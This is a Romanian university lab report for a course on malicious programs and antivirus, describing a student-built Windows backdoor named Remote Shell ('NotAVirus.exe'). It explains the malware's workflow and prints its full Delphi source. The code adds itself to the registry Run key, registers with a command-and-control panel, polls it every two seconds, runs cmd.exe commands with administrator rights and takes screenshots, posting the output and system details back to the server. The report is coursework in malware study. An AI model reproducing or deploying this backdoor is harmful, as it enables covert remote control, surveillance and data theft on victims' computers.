MINISTERUL EDUCAȚIEI, CULTURII ȘI CERCETĂRII

AL REPUBLICII MOLDOVA
Universitatea Tehnică a Moldovei
Facultatea Calculatoare, Informatică și Microelectronică
Departamentul Ingineria Software și Automatică

Raport
pentru lucrarea de laborator Nr.2

la cursul de “Programe malițioase și antivirus”

Efectuat: Studentul gr. SI-191

Verificat: Răducanu Octavian

Chișinău – 2020

1
Tema: Scrierea unui program malițios în limbaj de
programare, C, C++, Asembly, etc.
Malware de tip Backdoor / Shell
Limbaj de programare Main Core: Delphi
Limbaj de programare Control Panel: PHP 7
Sistem de operare: Windows

Pe parcursul, program malițios creat va fi numit – Remote Shell.

Un backdoor este un program cibernetic malițios utilizat pentru a oferi atacatorului

acces de la distanță la un sistem de PC compromis, exploatând vulnerabilitățile din
securitate.

Algoritmul de lucru a Remote Shell:

1) Utilizatorul pornește fișier malițios
2) Remote Shell creează o înregistrare in Registru Windows (regedit.exe), din
momentul acest Remote Shell va porni împreună cu Sistemul de Operare
3) Remote Shell trimite un HTTP Request la Control Panel si înregistrează
instalare
4) Fiecare 2 secunde program malițios verifica lista de Sarcini
5) Daca a fost găsita Sarcina – pornește lucru (face screenshot sau executa
comanda in CMD.exe cu drepturile de Administrator)
6) După executare Sarcinii trimite rezultatul la Control Panel

Fig. 1. Control Panel

2
 Fig. 2. Remote Shell (NotAVirus.exe) pornit automat după pornire sistemului

Fig. 3. Notificarea serverului despre instalare

Notificarea Serverului contine informatie despre sistem: HWID (hardware-id),

denumirea calculatorului, sistem de operare, adresa IP

3
Fig. 4. Verificarea listei de sarcini

Fig. 5. Sarcina noua

Fig. 6. Încărcarea sarcinii

4
 Fig. 7. Încărcarea sarcinii

Funcționalitatea
 Pornire împreună cu Sistem de Operare (Startup)
 Pornire Remote Shell cu drepturile de administrator
 Executarea comenzilor făcute din Control Panel
 Remote Screenshot
 Remote cmd.exe (cu drepturile de administrator)

Executarea comenzilor cu drepturile de administrator deschide multe posibilități de

a utiliza Program Malițios: instalarea / de instalarea programelor, încărcarea
fișierelor infectate, crearea utilizatorii noi (administratori) si etc.

Fig. 8. Crearea comenzii

5
 Fig. 9. Rezultatul comenzii

Control Panel utilizează tehnologia AJAX pentru a lucra cu Calculatori Infectate

fără repornirea paginii. Toate comenzile sunt logate in Baza de Date (MySQL) si
pot fi vizualizate in continuare.

Source Code Main Core (Delphi):

program NotAVirus;

{$APPTYPE GUI}
{$R *.res}
uses
System.SysUtils,
httpsend,
System.Classes,
Registry,
Windows,
System.Hash,
SynaCode,
Vcl.Graphics,
System.NetEncoding,

6
 Vcl.Imaging.Jpeg,
ssl_openssl;

const
API = 'http://virus.utm'; //API hostname

var
http: THTTPSend;
resp: TStringList;
data: TStringStream;
hwid, pc_name, system, task_id, task, cmd: string;
screen: TBitMap;

function GetRegistryValue(path, key: string): string;

var
Reg: TRegistry;
begin
Reg:= TRegistry.Create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey(path, false);
Result:= Reg.ReadString(key);
Reg.Free;
end;

procedure Startup();
var
Reg: TRegistry;
begin
Reg:= TRegistry.Create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', false);
Reg.WriteString('NotAVirus', ParamStr(0));
Reg.CloseKey;
Reg.Free;
end;

function GetHardID(): string;

var
SerialNum: dword;
a, b: dword;
Buffer: array [0..255] of char;
begin
if GetVolumeInformation('c:\', Buffer, SizeOf(Buffer), @SerialNum, a, b, nil, 0) then Result
:= IntToStr(SerialNum);
end;

function Pars(T_, ForS, _T: string): string;

var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then Exit;
a := Pos(T_, ForS);
if a = 0 then Exit
else a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);

7
 if b > 0 then Result := Copy(ForS, 1, b - 1);
end;

function StrOemToAnsi(const aStr : AnsiString) : AnsiString;

var
Len : Integer;
begin
if aStr = '' then Exit;
Len := Length(aStr);
SetLength(Result, Len);
OemToCharBuffA(PAnsiChar(aStr), PAnsiChar(Result), Len);
end;

function GetDosOutput(CommandLine: string; Work: string = 'C:\'): string;

var
SecAtrrs: TSecurityAttributes;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
StdOutPipeRead, StdOutPipeWrite: THandle;
WasOK: Boolean;
pCommandLine: array[0..255] of AnsiChar;
BytesRead: Cardinal;
WorkDir: string;
Handle: Boolean;
begin
Result := '';
with SecAtrrs do begin
nLength := SizeOf(SecAtrrs);
bInheritHandle := True;
lpSecurityDescriptor := nil;
end;
CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SecAtrrs, 0);
try
with StartupInfo do
begin
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
cb := SizeOf(StartupInfo);
dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
wShowWindow := SW_HIDE;
hStdInput := GetStdHandle(STD_INPUT_HANDLE);
hStdOutput := StdOutPipeWrite;
hStdError := StdOutPipeWrite;
end;
WorkDir := Work;
Handle := CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
nil, nil, True, 0, nil,
PChar(WorkDir), StartupInfo, ProcessInfo);
CloseHandle(StdOutPipeWrite);
if Handle then
try
repeat
WasOK := windows.ReadFile(StdOutPipeRead, pCommandLine, 255, BytesRead, nil);
if BytesRead > 0 then
begin
pCommandLine[BytesRead] := #0;
Result := Result + pCommandLine;
end;
until not WasOK or (BytesRead = 0);

8
 WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
finally
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
finally
CloseHandle(StdOutPipeRead);
end;
end;

procedure ScreenShot(DestBitmap : TBitmap) ;

var
DC : HDC;
begin
DC := GetDC (GetDesktopWindow) ;
try
DestBitmap.Width := GetDeviceCaps (DC, HORZRES) ;
DestBitmap.Height := GetDeviceCaps (DC, VERTRES) ;
BitBlt(DestBitmap.Canvas.Handle,
0,
0,
DestBitmap.Width,
DestBitmap.Height,
DC,
0,
0,
SRCCOPY) ;
finally
ReleaseDC (GetDesktopWindow, DC) ;
end;
end;

function BmtToBase64(Bmp : TBitmap): string;

var
Jpg: TJPEGImage;
input, output: TMemoryStream;
base64: TStringList;
begin
Jpg:= TJPEGImage.Create;
input:= TMemoryStream.Create;
output:= TMemoryStream.Create;
base64:= TStringList.Create;
input.Position:= 0;
output.Position:= 0;
try
Jpg.Assign(Bmp);
Jpg.CompressionQuality:= 80;
Jpg.Compress;
Jpg.SaveToStream(input);
input.Position:= 0;
TNetEncoding.Base64.Encode(input, output);
output.Position:= 0;
base64.LoadFromStream(output);
result:= base64.Text;
finally
Jpg.Free;
input.Free;
output.Free;

9
 base64.Free;
end;
end;

begin
Startup();

http:= THTTPSend.Create;
resp:= TStringList.Create;
data:= TStringStream.Create;
screen:= TBitMap.Create;

http.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/88.0.4324.190 Safari/537.36';

hwid:= THashSHA1.GetHashString(GetHardID());
pc_name:= GetRegistryValue('\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName',
'ComputerName');
system:= GetRegistryValue('\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
if http.HTTPMethod('GET', API + '/api.php?method=install&hwid=' + hwid + '&pc_name=' +
EncodeUrl(pc_name) + '&system=' + EncodeUrl(system)) then
begin
while (true) do
begin
Sleep(2000);
http.Clear;
data.Clear;
resp.Clear;

if http.HTTPMethod('GET', API + '/api.php?method=getTask&hwid=' + hwid) then

begin
resp.LoadFromStream(http.Document);
task_id:= Pars('task_id: ', resp.Text, ',');
task:= Pars('task: ', resp.Text, ',');
cmd:= Pars('cmd: ', resp.Text + ',', ',');

if (task_id <> '') then

begin
if task = 'cmd' then
resp.text:= AnsiToUtf8(StrOemToAnsi(GetDosOutput(cmd)))
else if task = 'screenshot' then
begin
ScreenShot(screen);
resp.Text:= BmtToBase64(screen);
end;

http.Clear;
data.Clear;
data.WriteString(resp.Text);
http.Document.LoadFromStream(data);
http.MimeType:='application/x-www-form-urlencoded';
http.HTTPMethod('POST', API + '/api.php?method=sendTask&task_id=' + task_id);
end;
end;
end;
end;
end.

10
Funcționalitatea virusului poate fi vizualizata pe YouTube
https://www.youtube.com/watch?v=5r89LcqY6q8

Concluzii
Pe parcursul lucrării de laborator a fost creat un program malițios de tip Backdoor /
Shell. Program a fost numit Remote Shell si are un sir mare de posibilități: pornire
fișierelor, screenshot ecranului si etc. Acest program utilizează Control Panel
pentru a primi sarcini.

11